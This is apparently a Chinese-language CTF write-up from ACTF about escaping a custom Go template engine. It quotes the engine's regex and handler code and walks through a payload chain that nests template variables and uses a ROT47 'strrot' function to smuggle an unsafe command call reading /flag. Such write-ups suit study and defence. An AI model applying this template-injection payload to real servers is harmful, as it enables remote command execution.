767 字
4 分钟
自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”
自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”
工整一些,主要是想探讨一下一个有趣的替换模板问题,也就是嵌套正则导致的绕过,来源于ACTF
templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)在我看来有点像贪婪和非贪婪的解析错位导致的逃逸
func parseTemplateString(input string, vars map[string]string) (string, error) { out := input for i := 0; i < 100; i++ { cmd := templateCommandRE.FindString(out) if cmd == "" { return out, nil } replacement, err := commandHandler(cmd, vars) if err != nil { return "", err } out = strings.ReplaceAll(out, cmd, replacement) } return "", errors.New("template recursion limit exceeded")}
func commandHandler(cmd string, vars map[string]string) (string, error) { handled := cmd if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil { name := matches[1] handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'") } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil { body := matches[1] funcName := strings.ToLower(matches[2]) param := matches[3] unsafe := matches[4] != "" fn, ok := templateFuncs[funcName] if !ok { return "undefined", nil } if !unsafe && !fn.safe { return "", errAccessDenied } res, err := fn.call(param) if err != nil { return "", err } handled = strings.ReplaceAll(handled, body, "'"+res+"'") } if handled != cmd { return handled, nil } if !quotedCommandRE.MatchString(cmd) { return "undefined", nil } out := strings.ReplaceAll(cmd, "'", "") out = strings.ReplaceAll(out, `<\`, "") out = strings.ReplaceAll(out, `/>`, "") return out, nil}需要构造的命令需要包含unsafe才能command执行,但是这里只能控制%name%并且没法确定结构,
可以细看模板的替换规律,进模板之前都会做一次贪婪匹配
templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)然后第二层就是替换%%模板,又或者传进的是函数,那就检查函数,
得益于在这开始是循环进行的,也就是
for i := 0; i < 100; i++ {可以进行嵌套体的传入,也就是说,第一步会消去%%化为”并且将模板原封不动传入,这里是贪婪匹配,在最后如果非函数格式,又会对消除’ ’
并且上述的
"strrot": { safe: true, call: func(value string) (string, error) { return strrot(value), nil }, },函数可以原封不动return字符串,
name = "<<%n1%"n1 = "%n2%"n2 =r"\\%n3%"n3 = "%n4%"n4 = "strrot(%"这样嵌套体进行上传,数次%%替换就是
<\ '<<''\\''strrot(%''''' />这样并非函数在检查到非%%和函数的情况下
消除对称的’ ‘后就是
<\<<\\strrot(% />再消除<\ />后就成了
<\strrot(%,紧接着就进入了新一轮匹配
这样就是贪婪匹配了,接下来的模板,直到下一个>,因为gin对于变量名很宽松
这样就可以构造出很长的变量名,而所以说
<\strrot(%xxxx\>中间的xxxx可以进行任意替换,
并且strrot函数可以原封不动返回,看到这我想,妙哉~~
如此再利用%%替换为”可以直接替换为函数体,但是怎么插入拼接需要的执行体呢
编码,是的,strrot函数会返回解码内容,
ROT47("/><\run('cat /flag');unsafe/>")于是变成了
<\strrot('<rotated_payload>'); />然后整个结构体就变成了
<\/><\run('cat /flag');unsafe/>/>最开始的非贪婪匹配又会将空的</>删去,
紧接着匹配的就是
<\run('cat /flag');unsafe/>如此一来就可以对于模板的限制进行逃逸了,好困,bye
自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”
https://ymsora.com/posts/gomysql/ 部分信息可能已经过时





